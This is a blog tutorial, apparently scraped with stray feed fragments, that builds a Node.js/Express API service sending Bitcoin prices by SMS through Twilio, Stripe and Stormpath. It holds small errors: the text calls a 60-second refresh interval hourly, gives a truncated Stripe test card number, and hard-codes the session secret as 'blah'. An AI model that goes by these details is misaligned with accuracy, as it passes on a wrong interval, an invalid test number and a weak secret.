Happy verifying!

Build An API Service in Node.js with Stormpath, Twilio and Stripe

$
0
0

BTC SMS Intro

Building a full-fledged API service isn’t as hard as you may think. By taking advantage of some really useful API services and open source libraries, you can rapidly develop an API service in an incredibly short amount of time!

In this article, I’m going to walk you through the process of building an API service that uses SMS to keep you up-to-date with current value of Bitcoin: Bitcoin SMS!

This API service:

  • Lets users sign up and register for your site.
  • Verifies new user accounts by sending them an email and making them click a link.
  • Generates API keys for developers automatically.
  • Bills developers on a per-API call basis.
  • Handles credit card billing with Stripe.
  • Sends SMS messages via Twilio.
  • Finds Bitcoin exchange rates via Bitcoin Charts.
  • Stores user account data securely with Stormpath.

If you’re at all interested in building API services, or API companies — this article is meant specifically for you!

NOTE: Prefer video over a long article? If so, you can actually watch my screencast where I cover the same things in video form on Youtube here: https://www.youtube.com/watch?v=THDPG2gH7o0

ALSO: all of the code we’ll be writing here can be found on Github here: https://github.com/rdegges/btc-sms

What We’re Building: BitCoin SMS API Service

BTC SMS Demo

What we’re going to build today is a publicly available API service called BTC SMS which allows developers to make API calls that send SMS messages to specified phone numbers with the current value of Bitcoin.

The idea is that a lot of people might want to know the value of Bitcoin at a specific point in time — in order to buy or sell their Bitcoin — so this API service makes that information easy to access by sending SMS messages to a user with the current value of Bitcoin.

The API service we’re building will allow developers to make requests like this:

POST /api/message
{
  "phoneNumber": "+18182223333"
}

In the above example, this request would kick off an SMS message to +18182223333 that says something along the lines of “1 Bitcoin is currently worth $525.00 USD.”

Here’s how it’ll look:

BTC SMS API Call

Now, since we’re actually building an entire API service here — and not just a plain old API, we’ll also be charging money! We’ll be charging developers 2 cents per successful API request in order to cover our costs, and make a little bit of profit =)

So, now that we’ve briefly discussed what we’re going to be making — let’s actually make it!

Set Up Twilio, Stripe and Stormpath For Your API

To get started, you’ll need to create some accounts that we’ll be using for the rest of this guide.

Twilio for SMS

First, you’ll want to go and create an account with Twilio. Twilio is an API service that lets you do all things telephony related: send and receive calls and SMS messages.

For the purposes of the application we’re building, we’ll only be using Twilio to send SMS messages, but there’s a lot more it can do.

Signing up for a Twilio account is free, but if you want to actually follow through with the rest of this article, you’ll need to purchase a phone number you can send SMS messages from — and this typically costs $1 USD per month + 1c per SMS message you send.

Here’s what you’ll want to do:

  • Sign up.
  • Visit the Numbers Page and click “Buy a number”.
  • Purchase any phone number that is SMS ready:

Twilio Buy a Number

  • Now that you have a phone number, write down that phone number, you’ll need it later.
  • Next, go to your Account Page and copy your API key credentials so you can use them later on. Twilio gives you two API tokens: an “AccountSID” and an “AuthToken”. Both of these are necessary to have. Make sure these stay private.

Twilio API Credentials

Stripe for Payments

Next, let’s create a Stripe account. Stripe is a payments provider that allows you accept Credit Cards, Debit Cards, and even Bitcoin as payment options on your site.

Since this demo application will be charging users money for the amount of API calls they make, this is necessary.

Once you’ve created your Stripe account, you’ll want to set your Stripe dashboard to TEST mode — this lets you view the development mode sandbox where you can use Stripe like normal, but with fake credit cards and money:

Stripe Test Dashboard

Next, you’ll want to visit your Stripe API Keys page to view your Stripe API keys. The ones you’ll want to use for testing are the Test Secret Key and Test Publishable Key values:

Stripe API Keys Image

Be sure to take note of both those API key values — we’ll be needing those later.

Stormpath for Authentication and API Key Management

Now that we’ve got both Twilio and Stripe setup, go create a Stormpath account. Stormpath is a free API service that lets you store user accounts and user data. It makes doing stuff like signing users up for your site, managing users, and doing things like password reset and authorization really easy.

Instead of needing to run a database to store your user data in, we can use Stormpath to simplify and speed up the process. It also comes with some nice pre-built login / registration / password reset pages that make things really nice.

Once you’ve signed up for Stormpath, you’ll want to create a new API key and download it locally:

Stormpath Provision API Key

When you generate a new Stormpath API key, you’ll automatically download an apiKey.properties file — this contains your API key information. This file contains two values: an API Key ID and an API Key Secret — we’ll need both of these later.

Next, you’ll need to create a new Stormpath Application. Generally, you’ll want to create one Application per project you work on — since we’re building this BTC SMS project, we’ll create an Application called BTC SMS:

Stormpath Create Application

After creating your Application, be sure to copy down the REST URL link — we’ll be needing this later on to reference our Application when we start coding =)

Bootstrapping an Express.js Application

Now that we’ve gotten all of our required API service accounts setup and configured properly, we’re ready to start writing some code!

The first thing we’ll need to do is create a minimal Express.js application that we can use as we move forward.

Here’s the files / folders we’ll be creating, along with a brief description of what each of them contains:

btc-sms
├── bower.json
├── index.js
├── package.json
├── routes
│   ├── api.js
│   ├── private.js
│   └── public.js
├── static
│   └── css
│       └── main.css
└── views
    ├── base.jade
    ├── dashboard.jade
    ├── docs.jade
    ├── index.jade
    └── pricing.jade

4 directories, 12 files
  • btc-sms: This is the project folder we’ll use to hold all of our code.
  • bower.json: This is the bower package file which contains our front-end dependencies. If you haven’t heard of bower, it’s a package manager for front-end libraries like Twitter Bootstrap.
  • index.js: This is the main ‘entrypoint’ of our Node application. This is where our Express web app is defined, and our middlewares are configured.
  • package.json: This is our Node package file — this contains our library dependencies, and packaging information.
  • routes: This folder holds all of our route code (this is the code that actually makes stuff happen).
  • routes/api.js: This file contains our API code.
  • routes/private.js: This file contains the code that renders our private pages (the customer dashboard).
  • routes/public.js: This file contains our public pages code.
  • static: This folder holds all of our static assets: CSS, Javascript, etc.
  • static/css/main.css: This is our CSS file to make things look decent.
  • views: This folder holds our template code.
  • views/base.jade: This file holds our base template code. This holds the basic HTML page outlines, navbar, and stuff like that.
  • views/dashboard.jade: This file holds our private dashboard page code. This includes some billing logic.
  • views/docs.jade: This file holds our public API documentation.
  • views/index.jade: This is our main home page.
  • views/pricing.jade: This is our public pricing page.

The Views

Now that we’ve seen what our app looks like at a structural level, let’s take a look at the views.

Taking a look at the views first will give you a good understanding of how the site looks / functions before digging into the backend code.

base.jade

The base.jade view contains a page outline and navbar that all pages of the site use. This lets us build a ‘modular’ website with regards to the front-end of the website:

block vars

doctype html
html(lang='en')
  head
    meta(charset='utf-8')
    meta(http-equiv='X-UA-Compatible', content='IE=edge')
    meta(name='viewport', content='width=device-width, initial-scale=1')
    title #{siteTitle} - #{title}
    link(href='/static/bootswatch/sandstone/bootstrap.min.css', rel='stylesheet')
    link(href='/static/css/main.css', rel='stylesheet')
    <!--[if lt IE 9]>
    script(src='/static/html5shiv/dist/html5shiv.min.js')
    script(src='/static/respond/dest/respond.min.js')
    <![endif]-->
  body
    nav.navbar.navbar-default.navbar-static-top
      - var nav = {}; nav[title] = 'active'
      .container
        .navbar-header
          button.navbar-toggle.collapsed(type='button', data-toggle='collapse', data-target='#navbar-collapse')
            span.sr-only Toggle navigation
            span.icon-bar
            span.icon-bar
            span.icon-bar
          a.navbar-brand(href='/') #{siteTitle}
        #navbar-collapse.collapse.navbar-collapse
          ul.nav.navbar-nav
            li(class='#{nav.Home}')
              a(href='/') Home
            li(class='#{nav.Pricing}')
              a(href='/pricing') Pricing
            li(class='#{nav.Docs}')
              a(href='/docs') Docs
            if user
              li(class='#{nav.Dashboard}')
                a(href='/dashboard') Dashboard
              li(class='#{nav.Logout}')
                a(href='/logout') Logout
            else
              li(class='#{nav.Login}')
                a(href='/login') Login
              li(class='#{nav.Register} create-account')
                a(href='/register') Create Account
    block body
    script(src='/static/jquery/dist/jquery.min.js')
    script(src='/static/bootstrap/dist/js/bootstrap.min.js')

Some important things to take note of:

  • We are using Twitter bootstrap for design. This lets us build a well structured site without doing a lot of work.
  • We are using a Bootswatch theme for Bootstrap to make the site look a little bit better than your normal Bootstrap site. The theme we’re using simply overrides some of the basic Bootstrap styles.
  • At the top of our template, there is a block called vars — this lets us define template-specific variables later on.

index.jade

Our index.jade template renders the home page of our site — it’s just a simple static page:

extends base

block vars
  - var title = 'Home'

block body
  .container.index
    h1.text-center Get BTC Rates via SMS
    .row
      .col-xs-12.col-md-offset-2.col-md-8
        .jumbotron.text-justify
          p.
            #{siteTitle} makes it easy to track the value of Bitcoin via SMS.
            Each time you hit the API service, we'll SMS you the current Bitcoin
            price in a user-friendly way.
          a(href='/register')
            button.btn.btn-lg.btn-primary.center-block(type='button') Get Started!

You’ll notice that our Get Started! button is linking to a registration page — this registration page is generated automatically by the Stormpath library that you’ll see later on.

docs.jade

The docs.jade template is just a static page that contains API documentation for developers visiting the site:

extends base

block vars
  - var title = 'Docs'

block body
  .container.docs
    h1.text-center API Documentation
    .row
      .col-xs-12.col-md-offset-2.col-md-8
        p.text-justify
          i.
            This page contains the documentation for this API service.  There is
            only a single API endpoint available right now, so this document is
            fairly short.
        p.text-justify
          i.
            Questions? Please email <a href="mailto:support@apiservice.com">support@apiservice.com</a>
            for help!
        h2 REST Endpoints
        h3 POST /api/message
        span Description
        p.description.
          This API endpoint takes in a phone number, and sends this phone an
          SMS message with the current Bitcoin exchange rate.
        span Input
        .table-box
          table.table.table-bordered
            thead
              tr
                th Field
                th Type
                th Required
            tbody
              tr
                td phoneNumber
                td String
                td true
        span Success Output
        .table-box
          table.table.table-bordered
            thead
              tr
                th Field
                th Type
                th Example
            tbody
              tr
                td phoneNumber
                td String
                td "+18182223333"
              tr
                td message
                td String
                td "1 Bitcoin is currently worth $225.42 USD."
              tr
                td cost
                td Integer
                td #{costPerQuery}
        span Failure Output
        .table-box
          table.table.table-bordered
            thead
              tr
                th Field
                th Type
                th Example
            tbody
              tr
                td error
                td String
                td "We couldn't send the SMS message. Try again soon!"
        span Example Request
        pre.
          $ curl -X POST \
              --user 'id:secret' \
              --data '{"phoneNumber": "+18182223333"}' \
              -H 'Content-Type: application/json' \
              'http://apiservice.com/api/message'

pricing.jade

Like our docs page — the pricing.jade page is just a static page that tells users how much our service costs to use:

extends base

block vars
  - var title = 'Pricing'

block body
  .container.pricing
    h1.text-center Pricing
    .row
      .col-xs-offset-2.col-xs-8.col-md-offset-4.col-md-4.price-box.text-center
        h2 #{costPerQuery}&cent; / query
        p.text-justify.
          We believe in simple pricing.  Everyone pays the same usage-based
          feeds regardless of size.
        p.text-justify.end.
          <i>Regardless of how many requests you make, BTC exchange rates are
          updated once per hour.</i>
    .row
      .col-xs-offset-2.col-xs-8.col-md-offset-4.col-md-4
        a(href='/register')
          button.btn.btn-lg.btn-primary.center-block(type='button') Get Started!

dashboard.jade

The dashboard.jade file is where users land once they’ve either created or logged into an account.

This page does a few things:

  • Displays the user’s API keys.
  • Displays the user’s account balance, and lets users deposit money into their account.
  • Displays the user’s usage information (how many API requests has this user made?).

The way we’re accepting billing information on this page is via the Stripe Checkout Button. To learn more about how this works, you can visit the Stripe site.

What happens is essentially this: if a user clicks the Stripe button, a Javascript popup will appear to collect the user’s payment information.

When the user is done entering their information, this credit card info will be validated by Stripe, and a unique token will be generated to allow us to bill this user later on.

Here’s the dashboard code:

extends base

block vars
  - var title = 'Dashboard'

block body
  .container.dashboard
    .row.api-keys
      ul.list-group
        .col-xs-offset-1.col-xs-10
          li.list-group-item.api-key-container
            .left
              strong API Key ID:
              span.api-key-id #{user.apiKeys.items[0].id}
            .right
              strong API Key Secret:
              span.api-key-secret #{user.apiKeys.items[0].secret}
    .row.widgets
      .col-md-offset-1.col-md-5
        .panel.panel-primary
          .panel-heading.text-center
            h3.panel-title Analytics
          .analytics-content.text-center
            span.total-queries #{user.customData.totalQueries}
            br
            span
              i.
                *total queries
      .col-md-5
        .panel.panel-primary
          .panel-heading.text-center
            h3.panel-title Billing
          .billing-content.text-center
            span.account-balance $#{(user.customData.balance / 100).toFixed(2)}
            br
            span
              i.
                *current account balance
            form(action='/dashboard/charge', method='POST')
              script.stripe-button(
                src = 'https://checkout.stripe.com/checkout.js',
                data-email = '#{user.email}',
                data-key = '#{stripePublishableKey}',
                data-name = '#{siteTitle}',
                data-amount = '2000',
                data-allow-remember-me = 'false'
              )

Static Assets

Now that we’ve taken a quick look at the views, let’s take a quick look at the static assets we’ll be using.

In our case, since there’s not a lot of styling done here — we’ve only got a single CSS file:

/*
 * Navbar settings.
 */
ul.nav.navbar-nav {
  float: right;
}

li.create-account > a {
  color: #fff !important;
}

/*
 * Index page settings.
 */
.index h1 {
  margin-top: 2em;
}

.index .jumbotron {
  margin-top: 4em;
}

.index button {
  margin-top: 4em;
  font-size: 1em;
}

/*
 * Dashboard page settings.
 */
.dashboard .api-keys {
  margin-top: 3em;
}

.dashboard .api-key-container {
  min-height: 4em;
}

.dashboard .widgets {
  margin-top: 4em;
}

.dashboard .api-key-secret {
  color: red;
}

.dashboard h3 {
  font-size: 1.2em !important;
}

.dashboard span.api-key-id, .dashboard span.api-key-secret {
  font-family: "Lucida Console", Monaco, monospace;
  margin-left: .5em;
}

.dashboard .left {
  float: left;
}

.dashboard .right {
  float: right;
}

.dashboard .panel {
  padding-bottom: 2em;
}

.dashboard .panel-heading {
  margin-bottom: 2em;
}

.dashboard .analytics-content, .dashboard .billing-content {
  padding-left: 2em;
  padding-right: 2em;
}

.dashboard .account-balance, .dashboard .total-queries {
  font-size: 2em;
}

.dashboard form {
  margin-top: 2em;
}

/*
 * Pricing page settings.
 */
.pricing .price-box {
  border: 2px solid #f8f5f0;
  border-radius: 6px;
  margin-top: 4em;
  margin-bottom: 4em;
}

.pricing h2 {
  margin-bottom: 1em;
}

.pricing .end {
  margin-bottom: 2em;
}

/*
 * Documentation page settings.
 */
.docs h1 {
  margin-bottom: 2em;
}

.docs h2 {
  margin-top: 2em;
  margin-bottom: 2em;
}

.docs h3 {
  /*padding-left: 2em;*/
  font-weight: bold;
}

.docs span {
  font-size: 1.2em;
  padding-left: 2.7em;
  font-weight: bold;
  margin-top: 1em;
  margin-bottom: .5em;
  display: block;
}

.docs .description {
  font-size: 1.2em;
  padding-left: 2.6em;
}

.docs .table-box {
  padding-left: 3em !important;
  margin-top: 1em !important;
}

.docs pre {
  margin-left: 3em;
}

package.json and bower.json

Now, let’s get into some real code!

Below is the package.json file that declares all of our Node.js dependencies, and makes installing this application simple:

{
  "name": "api-service-starter",
  "version": "0.0.0",
  "description": "An API service starter kit for Node.",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [
    "api",
    "service",
    "starter",
    "kit"
  ],
  "author": "Randall Degges",
  "license": "UNLICENSE",
  "dependencies": {
    "async": "^0.9.0",
    "body-parser": "^1.12.3",
    "express": "^4.12.3",
    "express-stormpath": "^1.0.4",
    "jade": "^1.9.2",
    "request": "^2.55.0",
    "stripe": "^3.3.4",
    "twilio": "^2.0.0"
  }
}

To install this project, you can simply run $ npm install from the command line — this will automatically download all Node dependencies for ya =)

Likewise, you can also use bower to automatically download and install all front-end dependencies via $ bower install. The bower.json file makes this possible:

{
  "name": "api-service-starter",
  "main": "index.js",
  "version": "0.0.0",
  "authors": [
    "Randall Degges <r@rdegges.com>"
  ],
  "description": "An API service starter kit for Node.",
  "keywords": [
    "api",
    "service",
    "starter",
    "kit"
  ],
  "license": "UNLICENSE",
  "private": true,
  "ignore": [
    "**/.*",
    "node_modules",
    "bower_components",
    "test",
    "tests"
  ],
  "dependencies": {
    "jquery": "~2.1.3",
    "bootstrap": "~3.3.4",
    "respond": "~1.4.2",
    "html5shiv": "~3.7.2",
    "bootswatch": "~3.3.4+1"
  }
}

Application Setup

Now that we’ve covered the basics, let’s take a look at what makes our project tick: the index.js file. This holds the main Express.js web application, configures our libraries, and initializes our web server:

'use strict';

var async = require('async');
var express = require('express');
var stormpath = require('express-stormpath');

var apiRoutes = require('./routes/api');
var privateRoutes = require('./routes/private');
var publicRoutes = require('./routes/public');

// Globals
var app = express();

// Application settings
app.set('view engine', 'jade');
app.set('views', './views');

app.locals.costPerQuery = parseInt(process.env.COST_PER_QUERY);
app.locals.siteTitle = 'BTC SMS';
app.locals.stripePublishableKey = process.env.STRIPE_PUBLISHABLE_KEY;

// Middlewares
app.use('/static', express.static('./static', {
  index: false,
  redirect: false
}));
app.use('/static', express.static('./bower_components', {
  index: false,
  redirect: false
}));
app.use(stormpath.init(app, {
  enableAccountVerification: true,
  expandApiKeys: true,
  expandCustomData: true,
  redirectUrl: '/dashboard',
  secretKey: 'blah',
  postRegistrationHandler: function(account, req, res, next) {
    async.parallel([
      // Set the user's default settings.
      function(cb) {
        account.customData.balance = 0;
        account.customData.totalQueries = 0;
        account.customData.save(function(err) {
          if (err) return cb(err);
          cb();
        });
      },
      // Create an API key for this user.
      function(cb) {
        account.createApiKey(function(err, key) {
          if (err) return cb(err);
          cb();
        });
      }
    ], function(err) {
      if (err) return next(err);
      next();
    });
  }
}));

// Routes
app.use('/', publicRoutes);
app.use('/api', stormpath.apiAuthenticationRequired, apiRoutes);
app.use('/dashboard', stormpath.loginRequired, privateRoutes);

// Server
app.listen(process.env.PORT || 3000);

The first thing we’ll do is import all of the libraries necessary, as well as our route code (which we’ll hook up in a bit).

The next thing we’ll do is define our Express.js application, and tell is that we’re going to be using the Jade template language for our view code:

var app = express();

// Application settings
app.set('view engine', 'jade');
app.set('views', './views');

Once that’s been done, we’ll initialize some global settings:

app.locals.costPerQuery = parseInt(process.env.COST_PER_QUERY);
app.locals.siteTitle = 'BTC SMS';
app.locals.stripePublishableKey = process.env.STRIPE_PUBLISHABLE_KEY;

The COST_PER_QUERY and STRIPE_PUBLISHABLE_KEY values are being pulled out of environment variables. Instead of hard-coding your credentials into your source code, storing them in environmental variables is typically a better thing to do as you don’t need to worry about accidentally exposing your credentials.

The COST_PER_QUERY environment variable tells our app how many cents we should charge for each successful API request — in our case, we’ll set this to 2.

The STRIPE_PUBLISHABLE_KEY environment variable should be set to our Stripe Publishable Key that we retrieved earlier on when we created a Stripe account.

Here’s an example of how you might set these variables from the command line:

$ export COST_PER_QUERY=2
$ export STRIPE_PUBLISHABLE_KEY=xxx

Next, we’ll use the express.static built-in middleware to properly serve our app’s static assets:

app.use('/static', express.static('./static', {
  index: false,
  redirect: false
}));
app.use('/static', express.static('./bower_components', {
  index: false,
  redirect: false
}));

And… After that, we’ll initialize the Stormpath library:

app.use(stormpath.init(app, {
  enableAccountVerification: true,
  expandApiKeys: true,
  expandCustomData: true,
  redirectUrl: '/dashboard',
  secretKey: 'blah',
  postRegistrationHandler: function(account, req, res, next) {
    async.parallel([
      // Set the user's default settings.
      function(cb) {
        account.customData.balance = 0;
        account.customData.totalQueries = 0;
        account.customData.save(function(err) {
          if (err) return cb(err);
          cb();
        });
      },
      // Create an API key for this user.
      function(cb) {
        account.createApiKey(function(err, key) {
          if (err) return cb(err);
          cb();
        });
      }
    ], function(err) {
      if (err) return next(err);
      next();
    });
  }
}));

The express-stormpath library makes securing our website really easy.

I’ll cover the different options, and what they do below.

  • The enableAccountVerification flag tells the library that when a user signs up for our site, we should email them a link to click on to verify their email address.
  • Stormpath let’s you provision API keys for each user account. Since we’re building an API service, this is ideal. The expandApiKeys option makes Stormpath automatically pull down a user’s API key information and keep it cached to speed up API requests.
  • Stormpath also lets you store user data using something called custom data. Basically, each user can have a big old JSON dictionary stored on their account with whatever data you want. In our case, we’ll be using this to store a user’s account balance as well as the total amount of requests they’ve made to our service. The expandCustomData flag makes this operation faster by automatically downloading this information and keeping it in a local cache.
  • The redirectUrl setting tells Stormpath where to redirect a user after they’ve logged into the site.
  • The secretKey setting should be a long random string that stays private — this is used to secure the user sessions.
  • Lastly, the postRegistrationHandler lets us run code after a new user has signed up on the site. What we’ll do here is initialize a user by creating an API key for them automatically, as well as setting their account balance and total queries to 0.

Now that we’ve configured all our middleware, the last thing we need to do is include our route code:

app.use('/', publicRoutes);
app.use('/api', stormpath.apiAuthenticationRequired, apiRoutes);
app.use('/dashboard', stormpath.loginRequired, privateRoutes);

The way this works is like so:

  • First, we’ll tell Express to serve our public routes.
  • Then, we’ll tell Express to serve our API routes, but to require that a user authenticate with their API key before being allowed to access any of these routes.
  • Lastly, we’ll tell Express to render our private (dashboard) routes, but to require a user to be logged in via the website to access these pages.

The Stormapth middlewares included here automatically handle all of the authentication logic for us 100%. If we try to access the /dashboard page without being logged into the website, for instance, we’ll be immediately redirected to the login page and forced to authenticate.

If we try to access an API route without using Basic Auth, we’ll get a 401 UNAUTHORIZED message with a nice JSON error.

The Routes

The main part of our application is the routes. This is where all the magic happens: billing, API code, SMS code, etc.

Let’s take a look at each route, and dissect how exactly they work.

public.js

First, let’s look at our public routes. These routes are responsible for serving our ‘public’ pages on the website:

'use strict';

var express = require('express');

// Globals
var router = express.Router();

// Routes
router.get('/', function(req, res) {
  res.render('index');
});

router.get('/pricing', function(req, res) {
  res.render('pricing');
});

router.get('/docs', function(req, res) {
  res.render('docs');
});

// Exports
module.exports = router;

As you can see, nothing is happening here except that we’re rendering our pre-defined Jade templates.

private.js

The private route file contains only a single route: our dashboard page. Because our BTC SMS app only has a single page for logged-in users (the dashboard) — this is where that logic is contained.

If we were building a larger site, which had many private pages that only logged in users could access, they’d be included here also:

'use strict';

var bodyParser = require('body-parser');
var express = require('express');
var stormpath = require('express-stormpath');
var stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);

// Globals
var router = express.Router();

// Middlewares
router.use(bodyParser.urlencoded({ extended: true }));

// Routes
router.get('/', function(req, res) {
  res.render('dashboard');
});

router.post('/charge', function(req, res, next) {
  stripe.charges.create({
    amount: 2000,
    currency: 'usd',
    source: req.body.stripeToken,
    description: 'One time deposit for ' + req.user.email + '.'
  }, function(err, charge) {
    if (err) return next(err);
    req.user.customData.balance += charge.amount;
    req.user.customData.save(function(err) {
      if (err) return next(err);
      res.redirect('/dashboard');
    });
  });
});

// Exports
module.exports = router;

Let’s see how this works.

First, after creating an Express router, we’re using the bodyParser middleware to decode form data.

On this page, we’ll have a form that allows us to accept payment from a user, and because of this, we’ll need the ability to read the form data we’re receiving. This is what the bodyParser middleware is used for:

router.use(bodyParser.urlencoded({ extended: true  }));

This middleware let’s us access form data via req.body. So, for instance, if a form field called username was posted to us, we could access that data by saying req.body.username.

Next, we’ll register a router handler for the GET requests to our dashboard page:

router.get('/', function(req, res) {
  res.render('dashboard');
});

This code simply renders the dashboard page if a user visits the /dashboard URL in their browser.

Next, we’ll register a POST handler for the dashboard page:

router.post('/charge', function(req, res, next) {
  // stuff
});

This code will get run if a user attempts to deposit money into their account:

Stripe Deposit Money

What happens in our template code is all of the card collection and verification stuff. When we receive this POST request from the browser, what that means is that the user’s card is valid, and Stripe has given us permission to actually charge this user some money.

In our case, we’ll be charging users a flat fee of 20$.

Using the stripe library, we’ll then charge the user’s card:

stripe.charges.create({
  amount: 2000,
  currency: 'usd',
  source: req.body.stripeToken,
  description: 'One time deposit for ' + req.user.email + '.'
}, function(err, charge) {
  if (err) return next(err);
  req.user.customData.balance += charge.amount;
  req.user.customData.save(function(err) {
    if (err) return next(err);
    res.redirect('/dashboard');
  });
});

Once the user’s card has been successfully charged, we’ll also update the user account’s balance, so that we now know how much money this user has paid us.

And… That’s it for billing! Quite easy, right?

api.js

The last route we need to cover is the API route. Since our API service only has a single API call, this file only holds one API route. If we were building a more complex API service, however, this file might be a lot longer:

'use strict';

var bodyParser = require('body-parser');
var express = require('express');
var request = require('request');
var twilio = require('twilio')(process.env.TWILIO_ACCOUNT_SID, process.env.TWILIO_AUTH_TOKEN);

// Globals
var router = express.Router();
var BTC_EXCHANGE_RATE;
var COST_PER_QUERY = parseInt(process.env.COST_PER_QUERY);

// Middlewares
router.use(bodyParser.json());

// Routes
router.post('/message', function(req, res) {
  if (!req.body || !req.body.phoneNumber) {
    return res.status(400).json({ error: 'phoneNumber is required.' });
  } else if (!BTC_EXCHANGE_RATE) {
    return res.status(500).json({ error: "We're having trouble getting the exchange rates right now. Try again soon!" });
  } else if (req.user.customData.balance < COST_PER_QUERY) {
    return res.status(402).json({ error: 'Payment required. You need to deposit funds into your account.' });
  }

  var message = '1 Bitcoin is currently worth $' + BTC_EXCHANGE_RATE  + ' USD.';

  twilio.sendMessage({
    to: req.body.phoneNumber,
    from: process.env.TWILIO_PHONE_NUMBER,
    body: message
  }, function(err, resp) {
    if (err) return res.status(500).json({ error: "We couldn't send the SMS message. Try again soon!" });

    req.user.customData.balance -= COST_PER_QUERY;
    req.user.customData.totalQueries += 1;
    req.user.customData.save();

    res.json({ phoneNumber: req.body.phoneNumber, message: message, cost: COST_PER_QUERY });
  });
});

// Functions
function getExchangeRates() {
  request('http://api.bitcoincharts.com/v1/weighted_prices.json', function(err, resp, body) {
    if (err || resp.statusCode !== 200) {
      console.log('Failed to retrieve BTC exchange rates.');
      return;
    }

    try {
      var data = JSON.parse(body);
      BTC_EXCHANGE_RATE = data.USD['24h'];
      console.log('Updated BTC exchange rate: ' + BTC_EXCHANGE_RATE + '.');
    } catch (err) {
      console.log('Failed to parse BTC exchange rates.');
      return;
    }
  });
}

// Tasks
getExchangeRates();
setInterval(getExchangeRates, 60000);

// Exports
module.exports = router;

Like our private.js routes, we’ll also be using the bodyParser middleware here to read in API request data.

We’ll also be making use of the twilio library to send SMS messages to users, as well as the request library to fetch the current Bitcoin exchange rates from bitcoincharts.

The bitcoincharts site provides a publicly available API that lets you grab the current Bitcoin exchange rates. This is where we’ll be grabbing our Bitcoin value information from =) You can find more information on this here: http://api.bitcoincharts.com/v1/weighted_prices.json

So, once we’ve defined our Express router, the first thing we’ll do is declare some globals:

var BTC_EXCHANGE_RATE;
var COST_PER_QUERY = parseInt(process.env.COST_PER_QUERY);

The BTC_EXCHANGE_RATE variable will be set to the current value of Bitcoin in USD, and updated frequently. This is what we’ll use when we send out SMS messages to users.

The COST_PER_QUERY variable is the amount of money (in cents) that we’ll charge a user for each successful API request made.

Next, we’ll define a helper function called getExchangeRates which queries the bitcoin charts API service to find the current value of a Bitcoin:

function getExchangeRates() {
  request('http://api.bitcoincharts.com/v1/weighted_prices.json', function(err, resp, body) {
    if (err || resp.statusCode !== 200) {
      console.log('Failed to retrieve BTC exchange rates.');
      return;
    }

    try {
      var data = JSON.parse(body);
      BTC_EXCHANGE_RATE = data.USD['24h'];
      console.log('Updated BTC exchange rate: ' + BTC_EXCHANGE_RATE + '.');
    } catch (err) {
      console.log('Failed to parse BTC exchange rates.');
      return;
    }
  });
}

This function simply makes the request, then extracts the data. Finally it assigns the current value to the global BTC_EXCHANGE_RATE variable defined earlier.

After that’s done, we’ll invoke this function in two ways:

getExchangeRates();
setInterval(getExchangeRates, 60000);

First, we’ll call it immediately so that as soon as our program starts, we get the current BTC value.

Next, we’ll call it on a setInterval job, which executes once per hour (in milliseconds). This ensures that every hour we’ll update the BTC exchange rate to the latest values.

Finally, we’ll implement our API route /api/message, which is what developers will be using to send SMS messages with the current BTC exchange rate information:

router.post('/message', function(req, res) {
  if (!req.body || !req.body.phoneNumber) {
    return res.status(400).json({ error: 'phoneNumber is required.' });
  } else if (!BTC_EXCHANGE_RATE) {
    return res.status(500).json({ error: "We're having trouble getting the exchange rates right now. Try again soon!" });
  } else if (req.user.customData.balance < COST_PER_QUERY) {
    return res.status(402).json({ error: 'Payment required. You need to deposit funds into your account.' });
  }

  var message = '1 Bitcoin is currently worth $' + BTC_EXCHANGE_RATE  + ' USD.';

  twilio.sendMessage({
    to: req.body.phoneNumber,
    from: process.env.TWILIO_PHONE_NUMBER,
    body: message
  }, function(err, resp) {
    if (err) return res.status(500).json({ error: "We couldn't send the SMS message. Try again soon!" });

    req.user.customData.balance -= COST_PER_QUERY;
    req.user.customData.totalQueries += 1;
    req.user.customData.save();

    res.json({ phoneNumber: req.body.phoneNumber, message: message, cost: COST_PER_QUERY });
  });
});

This API route will:

  • Check to ensure that the incoming request data is formatted properly. Each incoming request must supply a phone number so we know who to SMS.
  • If no phone number is supplied, we’ll return an HTTP 400 response, along with an appropriate error.
  • If the BTC exchange rate isn’t available for some reason (maybe the bitcoin charts API is down), we’ll return a 500 status code along with an appropriate JSON error message.
  • Lastly, if the user doesn’t have enough money in their account to pay for this request, we’ll reject the request with a 402 status code an another appropriate error message.

Once we’ve done the error handling stuff, we’ll use the Twilio library to send an SMS message from our pre-purchased phone number (process.env.TWILIO_PHONE_NUMBER), with our pre-formatted message.

If, for any reason, the SMS message sending fails, we’ll return a 500 with an error message.

If the SMS message succeeds, we’ll subtract 2 cents from the user’s account balance, increment the user’s total queries counter, and then return a successful JSON response message.

It’s that simple!

Running the App

To run the app, as you saw through the code explanations, you’ll need to define some environment variables.

Here is a full list of the required environment variables you need to set to run this thing:

$ export COST_PER_QUERY=2
$ export STORMPATH_API_KEY_ID=xxx
$ export STORMPATH_API_KEY_SECRET=xxx
$ export STORMPATH_APPLICATION=https://api.stormpath.com/v1/applications/xxx
$ export STRIPE_SECRET_KEY=xxx
$ export STRIPE_PUBLISHABLE_KEY=xxx
$ export TWILIO_ACCOUNT_SID=xxx
$ export TWILIO_AUTH_TOKEN=xxx
$ export TWILIO_PHONE_NUMBER=+18882223333

These variables will be used automatically in the project code to make things work as needed.

Once these variables have been defined, you can then run your own instance of the BTC SMS app by saying:

$ node index.js

And then visiting http://localhost:3000.

To deposit money into your account using Stripe (in test mode), you can use the credit card number 424242424242, with any fake expiration date and CVC number. This will deposit funds into your account.

Lastly, to make successful API requests, you can use the cURL command line tool like so:

$ curl -v —user ‘API_KEY_ID:API_KEY_SECRET’ -H ‘Content-Type: application/json’ —data ‘{“phoneNumber”: “+18882223333”}’ ‘http://127.0.0.1:3000/api/message

Be sure to substitute in your own phone number and API credentials (taken from the BTC SMS dashboard page).

What Did We Learn?

Building a simple API service isn’t really all that hard. In just a few hours you can structure, plan, and implement a full-fledged API company with only a few small, free-to-use services.

The old days where launching a company took a lot of time and effort are long gone. Using API services to speed up your development can save you a bunch of time, effort, and problems.

I hope that this tutorial gave you a little bit of inspiration, taught you something new, and hopefully gave you some new ideas for your own cool projects.

Be sure to check out Stormpath, Twilio, and Stripe for your next projects =)

Oh — and if you have any questions, leave us a comment below!

PS: If you’re currently learning how to build API services and do stuff with Node.js, I’d recommend really writing this code out and playing around with it yourself. There’s no better way to learn this stuff than by messing around with it on your own =)

-Randall

Hello, Stormpath!

$
0
0

micah_hair

